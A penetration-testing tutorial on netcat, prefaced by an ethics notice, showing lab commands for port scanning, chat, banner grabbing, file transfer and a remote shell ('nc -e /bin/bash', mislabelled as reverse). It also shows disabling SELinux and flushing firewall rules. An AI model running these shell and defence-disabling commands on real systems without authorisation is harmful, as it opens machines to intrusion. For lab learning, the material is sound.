Scanning Tool Tutorials
netcat tutorial
NOTICE: All the tutorials on this website are meant to help you find security vulnerabilties on your own network and devices to understand your security posture before black hats do. Penetration testing without a written consent is illegal and you can be prosecuted. Use these tutorials to secure your own networks or those whose permission you have been granted. Keep it ethical and keep it professional.
Table of Contents
- Introduction to Netcat
- TCP Port Scanning using Netcat
- UDP Port Scanning using Netcat
- Creating a chat server using Netcat
- Sending messages using Netcat
- banner Grabbing using Netcat
- Sending a file using Netcat
- Creating a reverse shell using Netcat
netcat introduction
Netcat, often abbreviated as nc, is a versatile networking utility that is included in Kali Linux and many other Unix-like operating systems. It is commonly referred to as the "Swiss Army knife of networking" due to its wide range of functionalities. Netcat can be used for both simple and complex networking tasks. It can be used to read and write into TCP and UDP network connections making it useful on both the blue team and the red team. It can be used for scanning and infromation gathering as well as debugging or investigating the network.
netcat example usage:TCP port scanning
To scan a host (192.168.43.141), we use the command shown below. We use -z for port scanning, we make sure there is no DNS using -n which makes use of the IP address only and we print out the result using verbose mode -v. The port scan starts from port 20 to port 25.
netcat -v -n -z 192.168.43.141 20-25
netcat example usage:UDP port scanning
we can also use a similar netcat command to carry out a UDP port scan. UDP port scans are however not as reliable and so take the results with a grain of salt.
nc -vzu 192.168.43.141 20-25
netcat example usage: Creating a chat server
netcat can be used to chat between two systems that both have it installed. To set up a chat server, you can run the command below. This uses port 1234 and will listen on this port for any connections.
nc -nvlp 1234
Once the chat server has been created, the other machine simply needs to connect to it. This can be done using the following command shown below. Note that the IP address used is the IP of the chat server we are connecting to and the same port number that netcat is listening on.
nc 192.168.43.196 1234
I used my CentOS 9 to connect to the chat server. I had to install nc on centOS 9 using "yum install nc" command.
netcat message to the server
viewing the message on the netcat chat server
netcat example usage: Banner grabbing
Netcat can also be used for banner grabbing, that is to diplay the version of the service running behind a port number. This can be done by using the command as shown below with the IP address and port number of the target. In this case I check for port 80.
nc -v 192.168.43.141 80
NB: The machine I was scanning was blocking banner grabbing. I had to switch of SELinux and clear the firewall rules using the commands "sudo setenforce 0" and "iptables -F" respectively.
netcat example usage: Sharing a file
We can use netcat to share a file between 2 systems that have netcat installed. To do this, we need to serve the file using a specific port number. In this case, I will share my nikto.html file that is on the Desktop. I will share it through port 1234.
nc -lvp 1234 < nikto.html
We can then download the file from another machine by providing the same port number (1234) and the IP address of the netcat server (192.168.43.196).
nc 192.168.43.196 1234 >nikto.html
netcat example usage: Running a reverse shell on linux
A reverse shell is a type of shell in which the target machine initiates a connection back to the attacker's machine. In a reverse shell scenario, the target machine connects back to the attacker. This connection is often used for remote command execution and gaining access to a target system.
#on the victim
nc -l -p 4444 -e /bin/bash
This will be waiting for a connection on port 4444 that will execute bash instructions. All we need to do now is connect to the shell from another machine using the same port number.
#on target
nc 192.168.43.196 4444
Once the connection is made, try to run a command and see that it works. Note that some machine might block reverse shells, so switch off SELinux (sudo setenforce 0) and add the port number through the firewall (firewall-cmd --add-port=4444/tcp --permanent) and reload the firewall (firewall-cmd --reload).
